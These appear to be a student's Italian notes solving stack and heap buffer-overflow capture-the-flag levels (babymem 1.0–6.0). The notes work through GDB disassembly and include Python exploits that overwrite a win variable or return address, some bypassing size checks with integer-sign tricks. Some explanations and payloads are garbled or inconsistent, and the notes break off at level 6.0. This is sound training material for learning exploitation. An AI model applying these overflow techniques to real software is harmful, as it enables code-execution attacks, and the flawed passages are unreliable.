pointer points to 0x7ffd878b36b0, and our base pointer points to 0x7ffd878b3710. This means that we have (decimal) 14 8-byte words in our stack frame, including the saved base pointer and the saved return address, for a total of 112 bytes. The input buffer begins at 0x7ffd878b36f0, partway through the stack frame, (“above” it in the stack are other local variables used by the function). Your input will be read into this buffer. The buffer is 20 bytes long, but the program will let you provide an arbitrarily large input length, and thus overflow the buffer.

In this level, there is a “win” variable. By default, the value of this variable is zero. However, when this variable is non-zero, the flag will be printed. You can make this variable be non-zero by overflowing the input buffer. The “win” variable is stored at 0x7ffd878b3704, 20 bytes after the start of your input buffer.

Payload size:

SOLUZIONE:

- 1) Viene già spiegato che la variabile win si trova dopo 20 byte, quindi basta fare uno smash the stack scrivendo oltre i 20 byte del buffer: qualsiasi input oltre 20 byte darà la soluzione.
- 2) Posso scrivere un exploit:

```
import subprocess, sys
```

```
payload = b"A"*21
```

```
data = str(len(payload)).encode() + b"\n" + payload
```

```
p = subprocess.Popen(["/challenge/babymem_level1.0"], stdin=subprocess.PIPE, stdout=sys.stdout)
p.stdin.write(data)
```

- 3) Lo eseguo con python3 exploit.py

1.1

Welcome to /challenge/babymem_level1.1!

Payload size:

SOLUZIONE:

Devo utilizzare GDB per andare a capire dove si trova rispetto all'inizio del buffer lo stack da smashare

- 1) Apro GDB: `gdb /challenge/babymem_level1.1`
- 2) Invio `set disassembly-flavor intel` per utilizzare la sintassi intel e `set pagination off` per avere gli output scritti per intero (OPZIONALE)
- 3) `break challenge` seguito da `r` per eseguire il programma fino a challenge
- 4) `disass challenge` per visualizzare l'assembly della funzione challenge
- 5) Analizzo l'assembly:

Guardo quale valore valuterà la funzione win:

```
0x000056335611752c <+237>:  mov    rax,QWORD PTR [rbp-0x38]
0x0000563356117530 <+241>:  mov    eax,DWORD PTR [rax]
0x0000563356117532 <+243>:  test   eax,eax
0x0000563356117534 <+245>:  je     0x563356117540 <challenge+257>
0x0000563356117536 <+247>:  mov    eax,0x0
0x000056335611753b <+252>:  call   0x563356117342 <win>
```

Vedo che la funzione win valuterà il valore salvato in `rbp-0x38` verificando che non sia zero: è il valore che devo sovrascrivere

```
0x0000563356117465 <+38>:  mov    QWORD PTR [rbp-0x30],0x0
0x000056335611746d <+46>:  mov    QWORD PTR [rbp-0x28],0x0
0x0000563356117475 <+54>:  mov    QWORD PTR [rbp-0x20],0x0
0x000056335611747d <+62>:  mov    QWORD PTR [rbp-0x18],0x0
0x0000563356117485 <+70>:  lea    rax,[rbp-0x30]
0x0000563356117489 <+74>:  mov    QWORD PTR [rbp-0x40],rax
0x000056335611748d <+78>:  lea    rax,[rbp-0x30]
0x0000563356117491 <+82>:  add    rax,0x1c
0x0000563356117495 <+86>:  mov    QWORD PTR [rbp-0x38],rax
```

Vado a verificare quindi da dove viene preso quel valore: da qui posso vedere che il valore di inizio del buffer viene salvato in `rbp-0x30` per poi essere estratto, gli viene aggiunto `0x1c` e poi viene salvato in `rbp-0x38`. Quindi il valore che si trova in `rbp-0x38` è inizio buffer + `0x1c`. Per convertire in decimale posso inviare `p/d 0x1c` e vedrò che si tratta di 28. Dunque il valore da smashare si trova dopo 28 byte dall'inizio del buffer

- 6) Posso scrivere un exploit:

```
import subprocess, sys
```

```
payload = b"A"*29
```

```
data = str(len(payload)).encode() + b"\n" + payload
```

```
p = subprocess.Popen(["/challenge/babymem_level1.1"], stdin=subprocess.PIPE, stdout=sys.stdout)
p.stdin.write(data)
```

7) Lo eseguo con `python3 exploit.py`

2.0

Welcome to /challenge/babymem_level2.0!

The challenge() function has just been launched! This challenge stores your input buffer on the heap! It also stores the “win” variable on the heap. Allocating memory for the input buffer... Called malloc(47) = 0x555fa92216b0 Called malloc(0x10) = 0x555fa92216f0 Called malloc(0x10) = 0x555fa9221710 Called malloc(0x10) = 0x555fa9221730 Called malloc(0x10) = 0x555fa9221750 Called malloc(0x10) = 0x555fa9221770 Called malloc(0x10) = 0x555fa9221790 Allocating memory for the win variable... Called calloc(1, sizeof(int)) = 0x555fa92217b0 In this level, there is a “win” variable. By default, the value of this variable is zero. However, when this variable is non-zero, the flag will be printed. You can make this variable be non-zero by overflowing the input buffer. The “win” variable is stored at 0x555fa92217b0, 256 bytes after the start of your input buffer.

Payload size:

SOLUZIONE:

1) Viene già spiegato che la variabile win si trova dopo 256 byte dell’heap, quindi basta fare uno smash the stack scrivendo oltre i 256 byte dell’heap: qualsiasi input oltre 256 byte darà la soluzione.

2) Posso scrivere un exploit:

```
import subprocess, sys
```

```
payload = b"A"*257
```

```
data = str(len(payload)).encode() + b"\n" + payload
```

```
p = subprocess.Popen(["/challenge/babymem_level2.0"], stdin=subprocess.PIPE, stdout=sys.stdout)
p.stdin.write(data)
```

3) Lo eseguo con `python3 exploit.py`

2.1

Welcome to /challenge/babymem_level2.1!

Payload size:

SOLUZIONE:

Devo utilizzare GDB per andare a capire dove si trova rispetto all'inizio del buffer heap lo stack da smashare

- 1) Apro GDB: `gdb /challenge/babymem_level2.1`
- 2) Invio `set disassembly-flavor intel` per utilizzare la sintassi intel e `set pagination off` per avere gli output scritti per intero (OPZIONALE)
- 3) `break challenge` seguito da `r` per eseguire il programma fino a challenge
- 4) `disass challenge` per visualizzare l'assembly della funzione challenge
- 5) Analizzo l'assembly:

Vado a cercare dove viene salvato l'inizio del buffer heap, appena dopo la prima `malloc`

```
0x000055cd3574e733 <+12>:  mov     DWORD PTR [rbp-0x34],edi
0x000055cd3574e736 <+15>:  mov     QWORD PTR [rbp-0x40],rsi
0x000055cd3574e73a <+19>:  mov     QWORD PTR [rbp-0x48],rdx
0x000055cd3574e73e <+23>:  mov     QWORD PTR [rbp-0x20],0x0
0x000055cd3574e746 <+31>:  mov     edi,0x73
0x000055cd3574e74b <+36>:  call    0x55cd3574e1e0 <malloc@plt>
0x000055cd3574e750 <+41>:  mov     QWORD PTR [rbp-0x18],rax
```

L'indirizzo del buffer di heap è quindi salvato in `rbp-0x18`. Ora vado a vedere dove viene salvato il valore della variabile `win`

```
0x000055cd3574e775 <+78>:  mov     esi,0x4
0x000055cd3574e77a <+83>:  mov     edi,0x1
0x000055cd3574e77f <+88>:  call    0x55cd3574e1d0 <calloc@plt>
0x000055cd3574e784 <+93>:  mov     QWORD PTR [rbp-0x10],rax
```

Vedo che viene salvata in `rbp-0x10`. Infatti per verificare possiamo vedere che è il valore che viene controllato alla fine

```
0x000055cd3574e813 <+236>:  mov     rax,QWORD PTR [rbp-0x10]
0x000055cd3574e817 <+240>:  mov     eax,DWORD PTR [rax]
0x000055cd3574e819 <+242>:  test    eax,eax
0x000055cd3574e81b <+244>:  je      0x55cd3574e827 <challenge+256>
0x000055cd3574e81d <+246>:  mov     eax,0x0
0x000055cd3574e822 <+251>:  call    0x55cd3574e62a <win>
```

Ora so che i valori vengono salvati in `rbp-0x18` e `rbp-0x10`. Devo fare in modo che i valori vengano effettivamente salvati in quei registri, quindi devo eseguire il programma fino ad appena dopo la `calloc`. Lo faccio con `break *indirizzoistruzione dopocalloc` nel mio ad esempio potrebbe essere `break *0x000055cd3574e788`, e poi eseguo fino a lì con `continue`

I due registri ora contengono i valori necessari: per sapere la distanza tra la variabile `win` e l'inizio del buffer mi basta sottrarli:

```
p/d *(void**)(%rbp-0x10) - *(void**)(%rbp-0x18)
```

6) Posso scrivere un exploit:

```
payload = b"A"*481
data = str(len(payload)).encode() + b"\n" + payload
```

7) Lo eseguo con python3 exploit.py

3.0

The challenge() function has just been launched! Before we do anything, let's take a look at challenge()'s stack frame: +-----+

+		Stack location	Data (bytes)	Data (LE int)
0x00007ffe89b1fd50 (rsp+0x0000)	00 00 00 00 00 00 00 00	0x0000000000000000		
0x00007ffe89b1fd58 (rsp+0x0008)	48 0f b2 89 fe 7f 00 00	0x00007ffe89b20f48		
0x00007ffe89b1fd60 (rsp+0x0010)	38 0f b2 89 fe 7f 00 00	0x00007ffe89b20f38		
0x00007ffe89b1fd68 (rsp+0x0018)	00 ca 5b f6 01 00 00 00			
0x00000001f65bca00	0x00007ffe89b1fd70 (rsp+0x0020)	00 00 00 00 00 00 00 00		
0x0000000000000000	0x00007ffe89b1fd78 (rsp+0x0028)	00 00 00 00 00 00 00 00		
0x0000000000000000	0x00007ffe89b1fd80 (rsp+0x0030)	00 00 00 00 00 00 00 00		
0x0000000000000000	0x00007ffe89b1fd88 (rsp+0x0038)	00 00 00 00 00 00 00 00		
0x0000000000000000	0x00007ffe89b1fd90 (rsp+0x0040)	00 00 00 00 00 00 00 00		
0x0000000000000000	0x00007ffe89b1fd98 (rsp+0x0048)	00 00 00 00 00 00 00 00		
0x0000000000000000	0x00007ffe89b1fda0 (rsp+0x0050)	00 00 00 00 00 00 00 00		
0x0000000000000000	0x00007ffe89b1fda8 (rsp+0x0058)	00 00 00 00 00 00 00 00		
0x00007ffe89b1fdb0 (rsp+0x0060)	00 00 00 00 00 00 00 00	0x0000000000000000		
0x00007ffe89b1fdb8 (rsp+0x0068)	00 00 00 00 00 00 00 00			
0x0000000000000000	0x00007ffe89b1fdc0 (rsp+0x0070)	00 00 00 00 00 00 00 00		
0x0000000000000000	0x00007ffe89b1fdc8 (rsp+0x0078)	00 00 00 00 00 00 00 00		
0x0000000000000000	0x00007ffe89b1fdd0 (rsp+0x0080)	00 00 00 00 00 00 00 00		
0x0000000000000000	0x00007ffe89b1fdd8 (rsp+0x0088)	00 00 00 00 00 00 00 00		
0x0000000000000000	0x00007ffe89b1fde0 (rsp+0x0090)	00 00 00 00 00 00 00 00		
0x0000000000000000	0x00007ffe89b1fde8 (rsp+0x0098)	00 00 00 00 00 00 00 00		

```

00 00 00 00 00 00 | 0x0000000000000000 | | 0x00007ffe89b1fdf0 (rsp+0x00a0) | 00
00 00 00 00 00 00 | 0x0000000000000000 | | 0x00007ffe89b1fdf8 (rsp+0x00a8)
| 40 0e b2 89 fe 7f 00 00 | 0x00007ffe89b20e40 | | 0x00007ffe89b1fe00
(rsp+0x00b0) | d0 11 40 00 00 00 00 00 | 0x00000000004011d0 | |
0x00007ffe89b1fe08 (rsp+0x00b8) | 80 fd b1 89 fe 7f 00 00 | 0x00007ffe89b1fd80 | |
0x00007ffe89b1fe10 (rsp+0x00c0) | 40 0e b2 89 fe 7f 00 00 | 0x00007ffe89b20e40 | |
0x00007ffe89b1fe18 (rsp+0x00c8) | b0 26 40 00 00 00 00 00 | 0x00000000004026b0
| +-----+-----+-----+ Our stack

```

pointer points to 0x7ffe89b1fd50, and our base pointer points to 0x7ffe89b1fe10. This means that we have (decimal) 26 8-byte words in our stack frame, including the saved base pointer and the saved return address, for a total of 208 bytes. The input buffer begins at 0x7ffe89b1fd80, partway through the stack frame, (“above” it in the stack are other local variables used by the function). Your input will be read into this buffer. The buffer is 119 bytes long, but the program will let you provide an arbitrarily large input length, and thus overflow the buffer.

In this level, there is no “win” variable. You will need to force the program to execute the win() function by directly overflowing into the stored return address back to main, which is stored at 0x7ffe89b1fe18, 152 bytes after the start of your input buffer. That means that you will need to input at least 160 bytes (119 to fill the buffer, 33 to fill other stuff stored between the buffer and the return address, and 8 that will overwrite the return address).

We have disabled the following standard memory corruption mitigations for this challenge: - the canary is disabled, otherwise you would corrupt it before overwriting the return address, and the program would abort. - the binary is *not* position independent. This means that it will be located at the same spot every time it is run, which means that by analyzing the binary (using objdump or reading this output), you can know the exact value that you need to overwrite the return address with.

Payload size: X

You have chosen to send X bytes of input! This will allow you to write from 0x7fffbdcfcf80 (the start of the input buffer) right up to (but not including) 0x7fffbdcfd018 (which is 33 bytes beyond the end of the buffer). Of these, you will overwrite 0 bytes into the return address. If that number is greater than 8, you will overwrite the entire return address.

You will want to overwrite the return value from challenge() (located at 0x7fffbdcfd018, 152 bytes past the start of the input buffer) with 0x401f0b, which is the address of the win() function. This will cause challenge() to return directly into the win() function, which will in turn give you the flag. Keep in mind that you will need to write the address of the win() function in little-endian (bytes backwards) so that it is interpreted properly.

SOLUZIONE:

- 1) Viene già spiegato che dovrò sovrascrivere l'indirizzo di ritorno con l'indirizzo della win (0x401f0b) che si trova 152 byte dall'inizio del buffer, quindi basta fare uno smash the stack scrivendo oltre i 152 byte del buffer e poi scrivere l'indirizzo della win in little endian
- 2) Posso scrivere un exploit:

```
import subprocess, sys
```

```
payload = b"A"*152 + b"\x0b\x1f\x40\x00\x00\x00\x00\x00"
data = str(len(payload)).encode() + b"\n" + payload
```

```
p = subprocess.Popen(["/challenge/babymem_level3.0"], stdin=subprocess.PIPE, stdout=sys.stdout)
p.stdin.write(data)
```

- 3) Lo eseguo con `python3 exploit.py`

3.1

Welcome to /challenge/babymem_level3.1!

Payload size:

SOLUZIONE:

Devo utilizzare GDB per andare a capire l'indirizzo di win ed inserirlo nel return adress

- 1) Apro GDB: `gdb /challenge/babymem_level3.1`
- 2) Invio `set disassembly-flavor intel` per utilizzare la sintassi intel e `set pagination off` per avere gli output scritti per intero (OPZIONALE)
- 3) `break challenge` seguito da `r` per eseguire il programma fino a challenge
- 4) `disass challenge` per visualizzare l'assembly della funzione challenge
- 5) Analizzo l'assembly:

Posso vedere che il buffer viene azzerato, e il suo indirizzo di inizio si trova in `rbp-0x70`

```
0x0000000000401719 <+15>:  mov     DWORD PTR [rbp-0x84],edi
0x000000000040171f <+21>:  mov     QWORD PTR [rbp-0x90],rsi
0x0000000000401726 <+28>:  mov     QWORD PTR [rbp-0x98],rdx
0x000000000040172d <+35>:  mov     QWORD PTR [rbp-0x70],0x0
0x0000000000401735 <+43>:  mov     QWORD PTR [rbp-0x68],0x0
0x000000000040173d <+51>:  mov     QWORD PTR [rbp-0x60],0x0
0x0000000000401745 <+59>:  mov     QWORD PTR [rbp-0x58],0x0
0x000000000040174d <+67>:  mov     QWORD PTR [rbp-0x50],0x0
0x0000000000401755 <+75>:  mov     QWORD PTR [rbp-0x48],0x0
0x000000000040175d <+83>:  mov     QWORD PTR [rbp-0x40],0x0
```

```

0x0000000000401765 <+91>:    mov     QWORD PTR [rbp-0x38],0x0
0x000000000040176d <+99>:    mov     QWORD PTR [rbp-0x30],0x0
0x0000000000401775 <+107>:   mov     QWORD PTR [rbp-0x28],0x0
0x000000000040177d <+115>:   mov     DWORD PTR [rbp-0x20],0x0
0x0000000000401784 <+122>:   mov     WORD PTR [rbp-0x1c],0x0
0x000000000040178a <+128>:   mov     BYTE PTR [rbp-0x1a],0x0
0x000000000040178e <+132>:   lea     rax,[rbp-0x70]
0x0000000000401792 <+136>:   mov     QWORD PTR [rbp-0x8],rax

```

Il valore di inizio del buffer viene salvato in una variabile `rbp-0x8` che infatti successivamente viene utilizzata nella read

```

0x00000000004017df <+213>:   mov     rdx,QWORD PTR [rbp-0x78]
0x00000000004017e3 <+217>:   mov     rax,QWORD PTR [rbp-0x8]
0x00000000004017e7 <+221>:   mov     rsi,rax
0x00000000004017ea <+224>:   mov     edi,0x0
0x00000000004017ef <+229>:   call    0x401170 <read@plt>

```

Sapendo che il return adress viene solitamente salvato in `rbp + 8`, per trovare il valore di buffer da riempire prima di arrivare al return adress posso fare $(rbp + 0x8) - (rbp - 0x70) = \text{distanza}$. Semplificando diventa `rbp + 0x8 - rbp + 0x70` ovvero `0x8 + 0x70` che calcolo con

`p/d 0x8 + 0x70`

Ed ottengo 120 che è il valore da riempire prima di inserire l'indirizzo della win. L'indirizzo della win lo trovo facendo `info functions` e trovando dove si trova l'indirizzo della funzione win

```
0x000000000040160d  win
```

Che in questo caso è `0x000000000040160d` che scriverò in little endian dopo i 120 byte riempitivi

6) Posso scrivere un exploit:

```
import subprocess, sys
```

```
payload = b"A"*120 + b"\x0d\x16\x40\x00\x00\x00\x00\x00"
data = str(len(payload)).encode() + b"\n" + payload
```

```
p = subprocess.Popen(["/challenge/babymem_level3.1"], stdin=subprocess.PIPE, stdout=sys.stdout)
p.stdin.write(data)
```

7) Lo eseguo con `python3 exploit.py`

4.0

Welcome to `/challenge/babymem_level4.0!`

it! You made it past the check! Because the `read()` call will interpret your size differently than the check above, the resulting read will be unstable and might fail. You will likely have to try this several times before your input is actually read. You have chosen to send -1 bytes of input! This will allow you to write from `0x7ffdc4908e70` (the start of the input buffer) right up to (but not including) `0x7ffdc4908e6f` (which is -28 bytes beyond the end of the buffer). Of these, you will overwrite -57 bytes into the return address. If that number is greater than 8, you will overwrite the entire return address.

You will want to overwrite the return value from `challenge()` (located at `0x7ffdc4908ea8`, 56 bytes past the start of the input buffer) with `0x4015ce`, which is the address of the `win()` function. This will cause `challenge()` to return directly into the `win()` function, which will in turn give you the flag. Keep in mind that you will need to write the address of the `win()` function in little-endian (bytes backwards) so that it is interpreted properly.

SOLUZIONE:

- 1) Viene già spiegato che dovrò sovrascrivere l'indirizzo di ritorno con l'indirizzo della `win` (`0x4015ce`) che si trova 56 byte dall'inizio del buffer, quindi basta fare uno smash the stack scrivendo oltre i 56 byte del buffer e poi scrivere l'indirizzo della `win` in little endian. In questo caso però viene fatto un controllo sulla dimensione del buffer da inserire: se il valore inserito deve essere ≤ 27 . Tuttavia, se mando un numero negativo come -1 aggravo il controllo, perchè passo il controllo e successivamente la `read` interpreta il valore come signed quindi un numero negativo diventa gigante
- 2) Posso scrivere un exploit:

```
import subprocess, sys
```

```
payload = b"A"*56 + b"\xce\x15\x40\x00\x00\x00\x00\x00"
data = str(-1).encode() + b"\n" + payload
```

```
p = subprocess.Popen(["/challenge/babymem_level4.0"], stdin=subprocess.PIPE, stdout=sys.stdout)
p.stdin.write(data)
```

- 3) Lo eseguo con `python3 exploit.py`

4.1

Welcome to `/challenge/babymem_level4.1!`

Payload size:

SOLUZIONE:

Devo utilizzare GDB per andare a capire l'indirizzo di `win` ed inserirlo nel return address, superando il controllo sull'input del buffer

- 1) Apro GDB: `gdb /challenge/babymem_level4.1`

- 2) Invio `set disassembly-flavor intel` per utilizzare la sintassi intel e `set pagination off` per avere gli output scritti per intero (OPZIONALE)
- 3) `break challenge` seguito da `r` per eseguire il programma fino a challenge
- 4) `disass challenge` per visualizzare l'assembly della funzione challenge
- 5) Analizzo l'assembly:

Posso vedere che il buffer viene azzerato, e il suo indirizzo di inizio si trova in `rbp-0x40`

```

0x00000000004016ab <+12>:    mov     DWORD PTR [rbp-0x54],edi
0x00000000004016ae <+15>:    mov     QWORD PTR [rbp-0x60],rsi
0x00000000004016b2 <+19>:    mov     QWORD PTR [rbp-0x68],rdx
0x00000000004016b6 <+23>:    mov     QWORD PTR [rbp-0x40],0x0
0x00000000004016be <+31>:    mov     QWORD PTR [rbp-0x38],0x0
0x00000000004016c6 <+39>:    mov     QWORD PTR [rbp-0x30],0x0
0x00000000004016ce <+47>:    mov     QWORD PTR [rbp-0x28],0x0
0x00000000004016d6 <+55>:    mov     QWORD PTR [rbp-0x20],0x0
0x00000000004016de <+63>:    mov     BYTE PTR [rbp-0x18],0x0
0x00000000004016e2 <+67>:    lea     rax,[rbp-0x40]
0x00000000004016e6 <+71>:    mov     QWORD PTR [rbp-0x8],rax

```

Il valore di inizio del buffer viene salvato in una variabile `rbp-0x8` che infatti successivamente viene utilizzata nella read

```

0x000000000040174e <+175>:  mov     eax,DWORD PTR [rbp-0x44]
0x0000000000401751 <+178>:  mov     edx,eax
0x0000000000401753 <+180>:  mov     rax,QWORD PTR [rbp-0x8]
0x0000000000401757 <+184>:  mov     rsi,rax
0x000000000040175a <+187>:  mov     edi,0x0
0x000000000040175f <+192>:  call    0x401170 <read@plt>

```

Sapendo che il return adress viene solitamente salvato in `rbp + 8`, per trovare il valore di buffer da riempire prima di arrivare al return adress posso fare $(rbp + 0x8) - (rbp - 0x40) = \text{distanza}$. Semplificando diventa `rbp + 0x8 - rbp + 0x40` ovvero `0x8 + 0x40` che calcolo con

`p/d 0x8 + 0x40`

Ed ottengo 72 che è il valore da riempire prima di inserire l'indirizzo della win. Ora devo trovare il modo di superare il check dell'input. Vedo che

```

0x0000000000401702 <+99>:    lea     rax,[rbp-0x44]
0x0000000000401706 <+103>:   mov     rsi,rax
0x0000000000401709 <+106>:   lea     rdi,[rip+0xa0b]          # 0x40211b
0x0000000000401710 <+113>:   mov     eax,0x0
0x0000000000401715 <+118>:   call    0x4011a0 <__isoc99_scanf@plt>
0x000000000040171a <+123>:   mov     eax,DWORD PTR [rbp-0x44]
0x000000000040171d <+126>:   cmp     eax,0x29

```

```

0x0000000000401720 <+129>:    jle     0x401738 <challenge+153>
0x0000000000401722 <+131>:    lea     rdi,[rip+0x9f5]          # 0x40211e
0x0000000000401729 <+138>:    call   0x401120 <puts@plt>
0x000000000040172e <+143>:    mov     edi,0x1
0x0000000000401733 <+148>:    call   0x4011b0 <exit@plt>

```

Il valore preso con scanf (il mio input) viene inserito in `rbp-0x44`. Subito dopo quel valore viene comparato con `0x29` ovvero 41. Quindi se il valore è $\leq$ a 41 salta a `<+153>` e continua l'esecuzione, altrimenti chiama la `exit` ed esce dal programma.

Il controllo usa `EAX = 32-bit signed` e `jle` fa un confronto signed: se inserisco -1 in memoria avrò `0xffffffff` che come signed 32-bit è -1, quindi $-1 \leq 27$ mi fa passare il `jle`. Successivamente però la `read`

```

0x000000000040174e <+175>:    mov     eax,DWORD PTR [rbp-0x44]
0x0000000000401751 <+178>:    mov     edx,eax
0x0000000000401753 <+180>:    mov     rax,QWORD PTR [rbp-0x8]
0x0000000000401757 <+184>:    mov     rsi,rax
0x000000000040175a <+187>:    mov     edi,0x0
0x000000000040175f <+192>:    call    0x401170 <read@plt>

```

`read(int fd, void *buf, size_t count)` prende `count` come `size_t` (unsigned, 64-bit), ma in questo caso viene caricato un `int32` in `eax`, che viene copiato in `edx`. Su x86-64 scrivere in `edx` azzerà i 32 bit alti di `rdx`, quindi con `-1 (0xffffffff)`, `rdx` diventa `0x00000000ffffffff` unsigned ovvero un numero incredibilmente alto che ci permette di fare il nostro smash the stack. Manca solo da eseguire `info functions` e trovare dove si trova l'indirizzo della funzione `win`

```
0x00000000004015a2 win
```

Che in questo caso è `0x00000000004015a2` che scriverò in little endian dopo i 120 byte riempitivi. Ora so l'indirizzo da inserire come return adress (`0x00000000004015a2`), i byte da sovrascrivere (72) e il valore da inserire per passare il check (-1)

6) Posso scrivere un exploit:

```
import subprocess, sys
```

```
payload = b"A"*72 + b"\xa2\x15\x40\x00\x00\x00\x00"
data = str(-1).encode() + b"\n" + payload
```

```
p = subprocess.Popen(["/challenge/babymem_level4.1"], stdin=subprocess.PIPE, stdout=sys.stdout)
p.stdin.write(data)
```

7) Lo eseguo con `python3 exploit.py`

5.0

Welcome to /challenge/babymem_level5.0!

The challenge() function has just been launched! Before we do anything, let's take a look at challenge()'s stack frame:

Stack location	Data (bytes)	Data (LE int)
0x00007ffe045f8230 (rsp+0x0000)	a0 04 d6 f7 3f 7f 00 00	0x00007f3ff7d604a0
0x00007ffe045f8238 (rsp+0x0008)	e8 93 5f 04 fe 7f 00 00	0x00007ffe045f93e8
0x00007ffe045f8240 (rsp+0x0010)	d8 93 5f 04 fe 7f 00 00	0x00007ffe045f93d8
0x00007ffe045f8248 (rsp+0x0018)	dd 95 c0 f7 01 00 00 00	0x00000001f7c095dd
0x00007ffe045f8250 (rsp+0x0020)	40 a5 d6 f7 3f 7f 00 00	0x00007f3ff7d6a540
0x00007ffe045f8258 (rsp+0x0028)	a0 46 d6 f7 3f 7f 00 00	0x00007f3ff7d646a0
0x00007ffe045f8260 (rsp+0x0030)	00 00 00 00 00 00 00 00	0x0000000000000000
0x00007ffe045f8268 (rsp+0x0038)	00 00 00 00 00 00 00 00	0x0000000000000000
0x00007ffe045f8270 (rsp+0x0040)	00 00 00 00 00 00 00 00	0x0000000000000000
0x00007ffe045f8278 (rsp+0x0048)	00 00 00 00 00 00 00 00	0x0000000000000000
0x00007ffe045f8280 (rsp+0x0050)	00 00 00 00 00 00 00 00	0x0000000000000000
0x00007ffe045f8288 (rsp+0x0058)	00 00 00 00 00 00 00 00	0x0000000000000000
0x00007ffe045f8290 (rsp+0x0060)	80 2c 40 00 00 00 00 00	0x000000000000402c80
0x00007ffe045f8298 (rsp+0x0068)	e0 92 5f 04 fe 7f 00 00	0x00007ffe045f92e0
0x00007ffe045f82a0 (rsp+0x0070)	00 00 00 00 00 00 00 00	0x0000000000000000
0x00007ffe045f82a8 (rsp+0x0078)	60 82 5f 04 fe 7f 00 00	0x00007ffe045f8260
0x00007ffe045f82b0 (rsp+0x0080)	e0 92 5f 04 fe 7f 00 00	0x00007ffe045f92e0
0x00007ffe045f82b8 (rsp+0x0088)	75 2c 40 00 00 00 00 00	0x000000000000402c75

Our stack pointer points to 0x7ffe045f8230, and our base pointer points to 0x7ffe045f82b0. This means that we have (decimal) 18 8-byte words in our stack frame, including the saved base pointer and the saved return address, for a total of 144 bytes. The input buffer begins at 0x7ffe045f8260, partway through the stack frame, ("above" it in the stack are other local variables used by the function). Your input will be read into this buffer. The buffer is 47 bytes long, but the program will let you provide an arbitrarily large input length, and thus overflow the buffer.

In this level, there is no "win" variable. You will need to force the program to execute the win() function by directly overflowing into the stored return address back to main, which is stored at 0x7ffe045f82b8, 88 bytes after the start of your input buffer. That means that you will need to input at least 96 bytes (47 to fill the buffer, 41 to fill other stuff stored between the buffer and the return address, and 8 that will overwrite the return address).

We have disabled the following standard memory corruption mitigations for this challenge: - the canary is disabled, otherwise you would corrupt it before overwriting the return address, and the program would abort. - the binary is

not position independent. This means that it will be located at the same spot every time it is run, which means that by analyzing the binary (using objdump or reading this output), you can know the exact value that you need to overwrite the return address with.

This challenge will let you send multiple payload records concatenated together. It will make sure that the total payload size fits in the allocated buffer on the stack. Can you send a carefully crafted input to break this calculation? Number of payload records to send:

- 1) Viene già spiegato che dovrò sovrascrivere l'indirizzo di ritorno con l'indirizzo della win (0x40244d) che si trova 96 byte dall'inizio del buffer, quindi basta fare uno smash the stack scrivendo oltre i 96 byte del buffer e poi scrivere l'indirizzo della win in little endian. In questo caso però viene richiesto di inserire più di un payload di cui viene richiesta quantità e dimensione, e qui viene fatto un check: se la dimensione dei buffer * numero buffer su 32 bit è minore o uguale a 7 passa il check, altrimenti no. Il trucco è questo: il check je

prima fanno un check su eax (32 bit, wrap mod 2^{32})

poi fanno mov eax, eax che zero-estende in rax

e usano imul rax, rdx per ottenere un total enorme e passarlo a read()

Quindi la vulnerabilità è un mismatch:

check guarda total32 piccolo

read() usa total64 enorme

fatto un controllo sulla dimensione del buffer da inserire: se il valore inserito deve essere ≤ 27 . Tuttavia, se mando un numero negativo come -1 aggiro il controllo, perchè passo il controllo e successivamente la read interpreta il valore come signed quindi un numero negativo diventa gigante

Spiegazione?

- 2) Posso scrivere un exploit:

```
import subprocess, sys
```

```
payload = b"A"*88 + b"\x4d\x24\x40\x00\x00\x00\x00\x00"
```

```
data = str(641).encode() + b"\n" + str(6700417).encode() + b"\n" + payload
```

```
p = subprocess.Popen(["/challenge/babymem_level5.0"], stdin=subprocess.PIPE, stdout=sys.stdout)
p.stdin.write(data)
```

- 3) Lo eseguo con python3 exploit.py

5.1

Welcome to /challenge/babymem_level5.1!

Number of payload records to send:

6.0

Welcome to /challenge/babymem_level6.0!

The challenge() function has just been launched! Before we do anything, let's take a look at challenge()'s stack frame: +-----+

+-----+ Stack location Data (bytes) Data (LE int)
+-----+ +-----+ +-----+
0x00007fff5dfc77c0 (rsp+0x0000) 00 00 00 00 00 00 00 00 0x0000000000000000
0x00007fff5dfc77c8 (rsp+0x0008) a8 89 fc 5d ff 7f 00 00 0x00007fff5dfc89a8
0x00007fff5dfc77d0 (rsp+0x0010) 98 89 fc 5d ff 7f 00 00 0x00007fff5dfc8998
0x00007fff5dfc77d8 (rsp+0x0018) a0 66 f9 d2 01 00 00 00 0x00000001d2f966a0
0x00007fff5dfc77e0 (rsp+0x0020) 24 67 f9 d2 0c 7f 00 00 0x00007f0cd2f96724
0x00007fff5dfc77e8 (rsp+0x0028) 00 00 00 00 00 00 00 00
0x0000000000000000 0x00007fff5dfc77f0 (rsp+0x0030) 00 00 00 00 00 00 00 00
0x0000000000000000 0x00007fff5dfc77f8 (rsp+0x0038) 00 00 00 00 00 00 00 00
00 0x0000000000000000 0x00007fff5dfc7800 (rsp+0x0040) 00 00 00 00 00 00 00 00
00 00 0x0000000000000000 0x00007fff5dfc7808 (rsp+0x0048) 00 00 00 00 00 00 00 00
00 00 00 0x0000000000000000 0x00007fff5dfc7810 (rsp+0x0050) 00 00 00 00 00 00 00 00
00 00 00 00 0x0000000000000000 0x00007fff5dfc7818 (rsp+0x0058) 00 00 00 00 00 00 00 00
00 00 00 00 00 0x0000000000000000 0x00007fff5dfc7820 (rsp+0x0060) 00 00 00 00 00 00 00 00
00 00 00 00 00 00 0x0000000000000000 0x00007fff5dfc7828 (rsp+0x0068) 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 0x0000000000000000 0x00007fff5dfc7830 (rsp+0x0070)
00 00 00 00 00 00 00 00 0x0000000000000000 0x00007fff5dfc7838 (rsp+0x0078)
00 00 00 00 00 00 00 00 0x0000000000000000 0x00007fff5dfc7840
(rsp+0x0080) 00 00 00 00 00 00 00 00 0x0000000000000000
0x00007fff5dfc7848 (rsp+0x0088) 00 00 00 00 00 00 00 00 0x0000000000000000
0x00007fff5dfc7850 (rsp+0x0090) 00 00 00 00 00 00 00 00 0x0000000000000000
0x00007fff5dfc7858 (rsp+0x0098) 00 00 00 5d ff 7f 00 00 0x00007fff5d000000
0x00007fff5dfc7860 (rsp+0x00a0) d0 11 40 00 00 00 00 00 0x00000000004011d0
0x00007fff5dfc7868 (rsp+0x00a8) f0 77 fc 5d ff 7f 00 00 0x00007fff5dfc77f0
0x00007fff5dfc7870 (rsp+0x00b0) a0 88 fc 5d ff 7f 00 00 0x00007fff5dfc88a0
0x00007fff5dfc7878 (rsp+0x00b8) f2 2a 40 00 00 00 00 00 0x0000000000402af2
